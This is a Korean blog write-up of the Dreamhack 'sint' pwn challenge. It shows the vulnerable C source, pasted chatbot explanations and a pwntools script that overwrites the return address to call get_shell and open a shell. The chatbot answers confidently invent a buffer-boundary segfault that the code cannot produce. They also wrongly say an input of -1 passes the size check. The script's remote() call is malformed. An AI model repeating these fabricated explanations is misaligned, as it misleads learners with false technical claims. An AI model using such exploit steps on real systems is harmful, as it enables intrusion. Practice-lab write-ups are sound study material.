이 정보는 **Ubuntu 16.04** 환경에서 실행되는 32비트(i386) 바이너리의 보안 설정을 나타냅니다. 각 항목의 의미와 보안에 미치는 영향을 설명하겠습니다.
1. **Arch: i386-32-little**
- 이 바이너리는 32비트 **i386** 아키텍처를 사용하며, **little-endian** 방식을 채택하고 있습니다. little-endian은 데이터의 가장 작은 바이트가 메모리의 가장 낮은 주소에 저장되는 형식입니다.
2. **RELRO: Partial RELRO**
- **Partial RELRO**는 런타임 중 일부 메모리 영역을 읽기 전용으로 설정하는 보호 기능입니다.
- 일부 전역 오프셋 테이블(GOT)이 읽기 전용으로 설정되지만, 함수 포인터와 같은 중요한 테이블은 보호되지 않습니다.
- **Partial RELRO**는 최소한의 보호 기능만 제공하므로 **GOT overwrite** 공격에 취약할 수 있습니다.
3. **Stack: No canary found**
- **스택 카나리(Stack Canary)**가 설정되지 않아, **버퍼 오버플로우**와 같은 공격을 감지할 수 없습니다.
- 스택 카나리는 스택 무결성을 검증하기 위해 무작위 값을 삽입하는 기법으로, 값이 손상되었는지 확인하여 버퍼 오버플로우 공격을 방지하는 기능입니다.
- **No canary found**는 스택 기반 버퍼 오버플로우 공격에 매우 취약하다는 뜻입니다.
4. **NX: NX enabled**
- **NX**(No-eXecute) 비트가 활성화되어 있어, 스택이나 힙과 같은 메모리 영역에서 코드를 실행할 수 없습니다.
- 이는 메모리의 데이터 영역을 보호해 **쉘코드**와 같은 악의적인 코드를 실행하지 못하도록 합니다.
- NX 비트는 보호 기능을 제공하지만, **Return-Oriented Programming (ROP)**과 같은 코드 재사용 공격은 여전히 가능할 수 있습니다.
5. **PIE: No PIE (0x8048000)**
- **PIE**(Position Independent Executable)는 활성화되지 않았으며, 이 바이너리는 고정된 주소(0x8048000)에서 로드됩니다.
- **No PIE** 설정은 주소가 고정되어 있어 ASLR(Address Space Layout Randomization)을 우회할 수 있습니다.
- 공격자는 고정된 메모리 주소를 알고 있으므로, 메모리 주소 예측이 쉬워져 **ROP** 공격이 더 쉬워집니다.
### 보안성 요약
이 설정에서는 **Partial RELRO**, **No Stack Canary**, 그리고 **No PIE**로 인해 보안성이 낮습니다. 특히, 스택 카나리가 없고 PIE가 비활성화되어 있어 **버퍼 오버플로우** 및 **ROP 공격**에 취약할 가능성이 큽니다.
소스코드다
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
코드에서 `get_shell()` 함수를 실행시키기 위해서는 `SIGSEGV` (Segmentation Fault) 시그널이 발생해야 합니다. 프로그램에서 **Segmentation Fault**가 발생하면 `SIGSEGV` 시그널이 발생하고, 그때 `get_shell()` 함수가 호출되도록 설정되어 있습니다. 이를 이용하여 `get_shell()` 함수를 실행할 수 있습니다.
### 취약점 분석 및 공격 방법
1. **버퍼 오버플로우를 통한 메모리 접근 위반 유도**
- `buf` 버퍼는 256바이트 크기이며, `size` 변수를 통해 입력 크기를 제한합니다.
- 입력 크기를 제한하는 조건문에서 `size`가 256보다 크거나 0보다 작을 경우 "Buffer Overflow!"라는 메시지가 출력되고 프로그램이 종료됩니다.
- 그러나 `size` 값이 정확히 **256**이라면, `buf` 버퍼의 크기만큼 데이터를 입력할 수 있게 됩니다.
2. **Segmentation Fault 발생**
- 만약 `size`를 256으로 설정하고, `read()` 함수를 통해 `buf` 버퍼에 데이터를 과도하게 입력하면, 메모리 접근이 허용된 범위를 벗어나게 되어 **Segmentation Fault**가 발생할 가능성이 높습니다.
- 이때, `SIGSEGV` 시그널 핸들러로 `get_shell()`이 설정되어 있으므로, **Segmentation Fault**가 발생하면 자동으로 `get_shell()`이 호출됩니다.
### 공격 절차 요약
1. `size` 값을 256으로 설정하여 `buf`의 최대 용량만큼 데이터를 입력합니다.
2. `buf`에 256바이트의 데이터를 입력하여 메모리 접근 오류를 유도하고, **Segmentation Fault**가 발생하도록 합니다.
3. **Segmentation Fault**가 발생하면, `SIGSEGV` 시그널 핸들러로 인해 `get_shell()` 함수가 호출되고, **쉘을 획득**할 수 있습니다.
이렇게 하면 `SIGSEGV`를 발생시켜 `get_shell()`을 실행시킬 수 있습니다.
segmentatuin faut가 뭐야 메모리에서 무슨 일이 생기는거고 왜 그게 get_shell 함수가 호출되는거야?
**Segmentation Fault**(세그멘테이션 폴트)는 프로그램이 **허용되지 않은 메모리 영역에 접근**하려고 할 때 발생하는 오류입니다. 일반적으로 운영체제가 프로그램에 허용된 메모리 영역 외의 주소에 접근하려 할 때 프로그램을 중단시키며, 이로 인해 **SIGSEGV** 시그널이 발생합니다.
### 메모리에서 발생하는 상황
프로그램은 메모리 내에 여러 **세그먼트(영역)**를 갖고 있습니다:
- **텍스트 세그먼트**: 코드 자체가 저장된 영역입니다.
- **데이터 세그먼트**: 전역 변수나 정적 변수가 저장되는 영역입니다.
- **힙(Heap)**: 동적 메모리 할당(`malloc`, `free` 등)에 사용됩니다.
- **스택(Stack)**: 함수 호출과 지역 변수를 저장하는 영역입니다.
세그멘테이션 폴트가 발생하는 경우:
- 프로그램이 자신의 **메모리 할당 영역을 벗어나** 접근을 시도할 때, 예를 들어 스택의 범위를 넘어 접근하려 할 때 발생합니다.
- **NULL 포인터** 참조나 **이미 해제된 메모리**를 다시 참조하려 할 때도 발생할 수 있습니다.
### `get_shell` 함수 호출과 SIGSEGV 시그널의 관계
제시된 코드에서 `SIGSEGV` 시그널이 발생하면, `get_shell` 함수가 호출되도록 설정되어 있습니다:
```c
signal(SIGSEGV, get_shell);
```
- 이 코드로 인해 **Segmentation Fault가 발생할 때, SIGSEGV 시그널을 받아 `get_shell()` 함수가 호출**됩니다.
- 이 방식은 일반적으로 **악의적인 접근 제어 우회 수단**으로 사용되며, 일부러 메모리 오류를 유도하여 특정 함수(여기서는 `get_shell()`)를 실행시키려는 취약점 공격 방법입니다.
### 요약
세그멘테이션 폴트는 잘못된 메모리 접근으로 인해 발생하는 오류이고, 이 프로그램은 SIGSEGV 시그널을 `get_shell()` 함수에 연결해 두었으므로 **의도적으로 메모리 오류를 일으켜** `get_shell()`을 호출하여 **쉘을 획득**할 수 있습니다.
그럼 segmentation falut도 버퍼오버플로우의 큰 범위안에 속하는거네. 근데 소스코드에서는 size가 25 if (size > 256 || size < 0) { printf("Buffer Overflow!\n"); exit(0); } 라고했어. 이러면 버퍼 오버플로우 발생을 막았다는거 아니야?
맞습니다. 코드를 보면 `size`가 `256`보다 크거나 `0`보다 작은 값이 입력되면 `Buffer Overflow!`라는 메시지를 출력하고 프로그램이 종료되므로, **일반적인 의미에서의 버퍼 오버플로우는 방지**된 것처럼 보일 수 있습니다. 그러나 이 코드에는 여전히 **버퍼 오버플로우를 유발할 가능성이 남아 있습니다**. 이를 이해하기 위해 소스 코드와 `size` 값이 256일 때 발생할 수 있는 문제를 좀 더 깊게 살펴보겠습니다.
### 코드의 문제점: `size`가 256일 때 발생할 수 있는 취약점
```c
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
```
- 위의 조건문은 `size`가 256보다 크거나 0보다 작으면 프로그램을 종료합니다.
- 하지만 **`size`가 정확히 256인 경우에는 프로그램이 종료되지 않고 계속 실행**됩니다.
### `read()` 호출로 인한 문제
```c
char buf[256];
...
read(0, buf, size - 1);
```
- `size`가 256인 경우, `read(0, buf, size - 1);`은 **255바이트를 `buf`에 읽어들입니다**.
- 이 자체는 버퍼 크기인 256바이트를 초과하지 않으므로, 단순히 `buf` 배열에 데이터를 읽어들이는 것으로는 문제가 없어 보일 수 있습니다.
- 하지만 이 후의 다른 코드에 의해서 **Segmentation Fault**를 발생시킬 수 있습니다.
### `SIGSEGV`와 `get_shell()`의 연결
```c
signal(SIGSEGV, get_shell);
```
- 코드에서는 **Segmentation Fault**(`SIGSEGV`)가 발생하면 `get_shell()` 함수가 호출되도록 설정되어 있습니다.
- **따라서, 공격자가 고의적으로 Segmentation Fault를 유발**하여 `get_shell()`을 실행할 수 있습니다.
### Segmentation Fault를 유발할 가능성
버퍼 오버플로우가 직접적으로 발생하지 않더라도, 다음과 같은 방식으로 **메모리 접근 위반을 유발**하여 `SIGSEGV` 시그널을 발생시킬 수 있습니다:
1. `buf`에 큰 데이터를 입력하면서 **버퍼의 끝에 도달하거나, 의도적으로 메모리의 잘못된 주소에 접근**하여 오류를 발생시키는 방법을 사용할 수 있습니다.
2. 만약 의도적으로 **해제된 메모리**나 NULL 포인터와 같은 **잘못된 메모리 주소에 접근**하려고 한다면, Segmentation Fault가 발생할 수 있습니다.
이렇게 `SIGSEGV`를 발생시켜 `get_shell()` 함수로 연결할 수 있습니다.
### 결론
코드에서 `size` 값 제한으로 **일반적인 버퍼 오버플로우는 막을 수 있지만**, 여전히 Segmentation Fault를 의도적으로 유발하여 `get_shell()`을 실행할 가능성은 남아 있습니다.
아 그렇다면, 버퍼오버플로우가 기본적으로는 할당된 주소 공간 값보다, 입력값을 예측할 수 없으니까. 그걸 넘어섰을 때 생기는데. 이게 딱 맞춰도 그 끝에 도달해서의 공간에서도 문제가 발생 할 수 있다는거지? 그 이유는 왜인거야? 딱 맞춰 도달하면, 그 공간을 딱 맞춰서 쓴거아니야?
맞습니다, 버퍼 오버플로우는 **할당된 메모리 공간을 초과해서 접근할 때 발생**하는 문제가 맞습니다. 하지만, 딱 맞춘다고 해서 안전하다는 보장은 없습니다. 그 이유는 여러 가지가 있는데, 이 부분을 좀 더 깊이 살펴보겠습니다.
### 1. 경계선 접근과 관련된 문제
버퍼의 끝에 딱 맞춰 데이터를 쓰는 경우에도 **다음 메모리 영역과의 경계**에서 문제가 발생할 수 있습니다. 특히 C와 같은 저수준 언어에서는 이러한 경계를 엄격히 보호하지 않기 때문에, 프로그램이 실행되면서 의도하지 않은 행동이 발생할 수 있습니다.
### 2. null terminator(널 종단 문자)의 문제
문자열 입력을 처리할 때는 일반적으로 문자열의 끝에 **null terminator**(`\0`)가 필요합니다. 그러나 할당된 공간의 끝에 도달할 경우 이 널 종단 문자가 덧붙여지지 않으면 문자열이 끝나는 위치를 알 수 없게 되어, 다른 메모리 영역을 잘못 참조하게 될 수 있습니다. 예를 들어, 버퍼의 끝에 도달하여 null terminator가 없는 경우, **다음 메모리 영역**까지 읽으려고 시도하면서 **읽기/쓰기 오류**가 발생할 수 있습니다.
### 3. 메모리 할당 방식과 패딩 문제
운영 체제의 메모리 할당 방식에 따라, 프로그램이 할당한 공간의 끝과 다른 메모리 영역 사이에 **패딩(padding) 공간**이 있을 수도 있고 없을 수도 있습니다. 프로그램이 **정확하게 할당된 공간의 끝에 도달**하더라도, 다음 메모리 블록에 있는 다른 변수나 시스템 메모리에 접근하는 상황이 발생할 수 있습니다.
### 4. 스택과 힙의 구조적 특성
- **스택**: 함수 호출 시 스택 메모리는 **프레임(frame)** 단위로 관리됩니다. 스택의 끝에 정확히 도달했더라도, 다른 함수 호출이나 리턴 시 스택 오버플로우가 발생할 수 있습니다.
- **힙**: 힙 메모리는 `malloc`과 같은 함수를 통해 동적으로 할당되며, **연속적으로 붙어 있는 메모리 블록**과의 경계에서 오류가 발생할 수 있습니다.
### 5. 최적화 문제
컴파일러는 성능 최적화를 위해 메모리 접근 방식을 변경할 수 있습니다. 이때, **경계 접근 검사**가 생략되거나 예기치 않게 조정될 수 있어서 끝에 정확히 맞춰도 예상치 못한 동작이 일어날 수 있습니다.
### 요약
- 딱 맞춰 도달해도 null terminator 부족, 메모리 패딩, 스택/힙의 구조적 특성, 컴파일러 최적화 등 여러 요인으로 **경계선에서 예기치 못한 동작**이 발생할 수 있습니다.
- **버퍼의 끝에 정확히 맞춰 입력**하더라도, 다음 메모리 공간에 영향을 미칠 가능성이 있기 때문에 **경계 검사와 메모리 보호**가 중요합니다.
이러한 이유로, 프로그램은 항상 메모리 경계를 철저히 관리하고 버퍼 오버플로우를 방지하기 위한 보호 기법들을 사용하는 것이 필요합니다.
버퍼 오버 플로우가 그러면 말그대로 넘쳤다는 큰 범위구나. 입력값이 예상치 못하게 들어와서 넘거나, 경계에서 그 경계가 애매하니까, 경계를 넘어설 수 있다는거지. 경계를 넘어서는것도 버퍼오버플로우의 한 종류인거지? 따로 명칭은 없지?
맞습니다! **버퍼 오버플로우(Buffer Overflow)**는 메모리의 **경계를 넘어서는 모든 입력 관련 오류를 포괄하는 큰 범위**입니다. 이는 단순히 할당된 메모리보다 더 많은 데이터를 입력해서 **넘쳐 흐르는 상황**뿐만 아니라, **경계에 정확히 도달하여 경계를 넘어서는 상황**까지도 포함됩니다. 이 모든 것이 **버퍼 오버플로우의 범위**에 속합니다.
### 경계에서 넘어서는 것도 버퍼 오버플로우에 포함
경계에서 도달하는 상황은 여전히 메모리 영역을 침범하게 되므로, 이것 역시 **버퍼 오버플로우의 한 형태**로 봅니다. 일반적으로는 따로 명칭을 나누지 않고 모두 버퍼 오버플로우로 묶어 설명합니다.
다만, 구체적인 맥락에 따라 다음과 같이 세분화된 용어를 사용하기도 합니다:
- **스택 버퍼 오버플로우**: 스택 영역에서 발생하는 오버플로우.
- **힙 버퍼 오버플로우**: 힙 영역에서 발생하는 오버플로우.
- **오프 바이 원(Off-by-One) 오류**: 경계에서 **한 바이트만 초과**하는 경우를 종종 이렇게 부릅니다.
이처럼 다양한 형태와 상황에 따라 구체적으로 설명할 수 있지만, **경계 넘침을 포함한 모든 메모리 초과 접근**은 버퍼 오버플로우로 통칭하여 설명하는 것이 일반적입니다.
캬.. 버퍼오버플로우에 대해 또 새롭게 알아간다.
overflow가 생각보다 더 넓은 의미였다
"넘쳐 흐른다!"
근데 막상 블로그글 풀이를 봤는데, 경계를 이용한 풀이법은 안보였다
오히려 integer underflow방법을 다 사용했다..
엇 근데 사람들은 문제를 size에 0을 넣으면 if문을 우회할 수 있다고 했어. 그리고 read함수의 세번째 인자는 부호가 없기 때문에 -1이 들어오면 integer underflow 발생 방법으로 버퍼 오버플로우 발생시키네. 아마 강의 내용이 그거라서 그렇게 풀었나봐
맞습니다. 이 문제에서는 **`size`에 음수 값을 넣어 underflow를 발생시켜 버퍼 오버플로우**를 유도하는 방법을 사용하고 있습니다. 코드에서 `size` 변수에 `0`보다 작은 값이나 `256`보다 큰 값이 입력되면 프로그램이 종료되도록 설정되어 있지만, 이 검사를 우회할 수 있는 방법이 있습니다.
### Integer Underflow 취약점 설명
`size`가 음수일 때 **부호 없는 정수(unsigned int)**로 처리되는 특성을 악용하는 방법입니다. `read()` 함수의 세 번째 인수는 **부호 없는 정수**로 취급되기 때문에, 음수 값이 전달되면 매우 큰 양수로 해석되어 버퍼를 넘어서는 데이터가 `buf`에 쓰일 수 있습니다.
### 취약점 발생 과정
1. **`size` 변수에 음수 입력**
- 예를 들어, `size`에 `-1`을 입력하면 `if` 조건 `size < 0`에 걸리지 않고 `read(0, buf, size - 1)`로 넘어갑니다.
- 이때, `size - 1`의 값은 `-2`가 됩니다.
2. **부호 없는 정수로 변환되는 과정**
- `read()` 함수는 세 번째 인자를 부호 없는 정수로 해석하므로, `-2`는 **큰 양수 값으로 해석**됩니다. 예를 들어, 32비트 시스템에서는 `-2`가 **4,294,967,294**(0xFFFFFFFE)로 변환됩니다.
- 이 값만큼 데이터를 `buf`에 읽으려고 하면 **buf가 할당된 256 바이트를 훨씬 초과**하게 됩니다.
3. **버퍼 오버플로우 발생**
- 이렇게 되면 `buf`에 과도한 양의 데이터가 들어오게 되어 **버퍼 오버플로우가 발생**합니다.
- 이 과정에서 스택의 다른 메모리 영역에까지 데이터가 덮어쓰여지게 되며, 이를 통해 특정 메모리 주소나 함수 포인터를 덮어씌워 **원하는 함수를 호출**할 수도 있습니다.
### 코드의 문제점 요약
- `size`가 음수일 때 **부호가 없는 정수로 해석되는 문제**로 인해 underflow가 발생하며, 이것이 버퍼 오버플로우의 원인이 됩니다.
- 이 취약점을 이용해, `size`에 `-1`을 입력하여 `SIGSEGV`를 유발하거나 프로그램의 흐름을 조작할 수 있습니다.
이 기법은 의도적으로 `size`에 음수를 입력하여 `if` 문을 우회하고, `read()` 함수의 세 번째 인자를 큰 값으로 만들어 버퍼 오버플로우를 발생시키는 방식으로 문제를 풀도록 유도된 것으로 보입니다.
너가 먼저 말한 256경계 버퍼방법으로도 get_shell 함수 호출도 가능한거지? 그렇게도 문제 풀어보고싶은데 풀이가 없네
네, 말씀하신 방식으로도 `get_shell` 함수를 호출할 수 있는 가능성이 있습니다. **`size` 값을 256으로 설정**하여 버퍼의 경계에 도달하게 하고, 이를 통해 메모리 경계에서 **Segmentation Fault**를 발생시켜 `SIGSEGV` 시그널을 유도하는 방법입니다. 이 방법은 경계값 접근을 이용한 취약점 탐구 방법이기도 하며, 문제 해결에 사용할 수 있습니다.
### 경계값 접근을 통한 `get_shell` 호출 방법
1. **`size`를 256으로 설정하여 프로그램 통과**
코드에서는 `size`가 256이면 프로그램이 종료되지 않고 통과되므로, `size = 256`을 입력하여 프로그램의 다음 코드로 진행하게 만듭니다.
2. **버퍼 경계에 도달하여 읽기 처리**
- `read(0, buf, size - 1);`로 인해 **255 바이트가 `buf`에 입력**됩니다.
- 이때 `buf`의 끝에 도달하게 되어, 버퍼의 경계가 테스트되게 됩니다.
3. **경계값을 통한 메모리 오류 유발**
- 일부 시스템에서는 버퍼의 끝까지 입력이 채워진 상태에서 다른 작업이 수행될 때, 경계를 넘어서는 데이터나 메모리 접근 오류가 발생할 가능성이 있습니다.
- 특히, 이 경우 메모리 구조가 맞물리면서 **잘못된 위치에 접근**하게 될 가능성이 있으며, 이로 인해 **Segmentation Fault**가 발생할 수 있습니다.
4. **`SIGSEGV` 시그널을 통해 `get_shell()` 호출**
- Segmentation Fault가 발생하면 `SIGSEGV` 시그널이 발생하게 되고, 이 시그널이 **`get_shell()` 함수로 연결**되어 있기 때문에 `get_shell()` 함수가 호출됩니다.
- `get_shell()`이 실행되면 `/bin/sh`를 호출하게 되어, 사용자는 쉘을 획득하게 됩니다.
### 요약
경계값 접근을 이용하여 **`size`를 256으로 설정한 후** 경계 접근 문제로 **Segmentation Fault를 유발**하여 `get_shell()` 함수를 호출할 수 있습니다. 이 방식은 256 경계 접근을 테스트하며, 문제 풀이에 있어 보다 정교한 접근을 시도할 수 있는 방법입니다.
흐음...경계넘쳐서 오버플로우하는 문제도 아마 드림핵 문제 풀다보면 나오지않을까?
그때가서 한번 생각해봐야겠다! 아무튼 흥미로운 정보를 또 알았다!
오늘은 integer underflow방식으로 풀어보자!
쉘을 띄워주는 get_shell 함수가 있습니다.
size가 256 초과거나 0미만이면 프로그램을 종료합니다.size 값을 입력 받고 size-1만큼 buf에 입력을 받습니다.
⇾ size에 0을 넣으면 if문을 우회할 수 있습니다.
그리고 read 함수의 세번째 인자는 부호가 없기 때문에 -1이 들어오면 Integer Underflow가 발생해서
4294967295 크기 만큼 입력을 받게 되어 버퍼 오버플로우가 발생합니다.
출처 ㅣ https://velog.io/@silvergun8291/Dreamhack-sint
gdb 결과를 보면 아래와 같은 스택 구조인 것을 볼 수 있다.
처음에 [0x0804866f <+3>: sub esp,0x104] 어셈블리어를 관찰하면 buf는 spf에서 0x104(260)만큼 떨어져있다.
따라서 여기에 spf 크기를 더해서 264크기 만큼의 페이로드를 전송하면 main ret를 get_shell 함수로 덮을 수 있고 쉘을 획득하여 플래그를 얻을 수 있다.
| main ret | high
| main spf |
| . . . |
| buf | low
출처 ㅣ https://lemon-soju.tistory.com/44
ESP - Stack pointer register
ESP 레지스터는 스택의 크기를 조정할때 사용되는 레지스터입니다.
스택의 최상단주소값을 가지고있으니 즉 스택의 크기를 나타냅니다.
어셈블리어의 PUSH 즉 스택에 값을넣는 동작을 할 때 ESP 가 4 만큼 줄어듭니다.
왜냐면 값을 넣으니 메모리공간을 늘려주어야 겠죠 그것이 4를 줄이는 이유입니다.
그런데 늘리지 않고 줄인다는것에 대해 자료구조 공부를 안하신분들은 의문을 가질수 있습니다.
줄이는이유는 스택의 제일아래 부분이 높은주소를 가지고 갈수록 낮은 주소를 가집니다.
그러니까 빼주어야합니다. 반대로 증감시키면 스택의 크기가 감소합니다.
출처:
https://redthing.tistory.com/entry/ebp와-esp-레지스터
[레드아이:티스토리]
payload작성하러가자
from pwn import *
p = remote ("host3.dreamhack.games, 21229")
elf = ELF('./sint')
shell = elf.symbols['get_shell']
payload = b'A'*260
payload += p32(shell)
p.recvuntil(b'Size: ')
p.sendline(b'0')
p.recvuntil(b'Data: ')
p.send(payload)
p.interactive()
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[63] IT 비전공자 [dreamhack]CSRF Advanced문제 풀기 (3) | 2024.11.11 |
---|---|
[62] IT 비전공자 [dreamhack]Basic_Crypto1문제 풀기 (2) | 2024.11.10 |
[60] IT 비전공자 [dreamhack]hook문제 풀기 (10) | 2024.11.08 |
[59] IT 비전공자 [dreamhack]sql injection bypass WAF문제 풀기 (10) | 2024.11.07 |
[58] IT 비전공자 [dreamhack]command-injection-chatgpt문제 풀기 (3) | 2024.11.06 |